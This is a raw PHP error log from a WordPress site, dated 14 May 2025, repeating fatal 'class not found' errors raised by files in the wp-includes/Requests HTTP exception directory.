[14-May-2025 11:58:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 11:58:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 11:58:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 11:58:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-May-2025 11:58:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 11:58:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 11:58:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 11:58:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-May-2025 11:58:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 11:58:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 11:58:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 11:58:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-May-2025 11:58:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 11:58:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 11:58:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 11:58:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-May-2025 11:58:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 11:58:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 11:58:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 11:58:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 11:58:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 11:58:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 11:58:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 11:58:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 11:58:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 11:58:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 11:58:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 11:58:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-May-2025 11:58:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 11:58:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 11:58:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 11:58:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-May-2025 11:58:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 11:58:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 11:58:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 11:58:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-May-2025 11:58:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 11:58:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 11:58:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 11:58:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-May-2025 11:58:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 11:58:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 11:58:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 11:58:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 11:58:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 11:58:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 11:58:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 11:58:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 11:58:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 11:58:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 11:58:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 11:58:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-May-2025 11:58:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 11:58:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 11:58:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 11:58:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-May-2025 14:33:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 14:33:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 14:33:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 14:34:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-May-2025 14:34:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 14:34:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 14:34:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 14:34:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-May-2025 14:34:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 14:34:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 14:34:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 14:34:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-May-2025 14:34:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 14:34:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 14:34:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 14:34:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-May-2025 14:34:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 14:34:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 14:34:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 14:34:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-May-2025 14:34:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 14:34:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 14:34:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 14:34:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-May-2025 14:34:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 14:34:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 14:34:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 14:34:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-May-2025 14:34:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 14:34:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 14:34:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 14:34:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-May-2025 14:34:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 14:34:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 14:34:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-May-2025 14:34:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
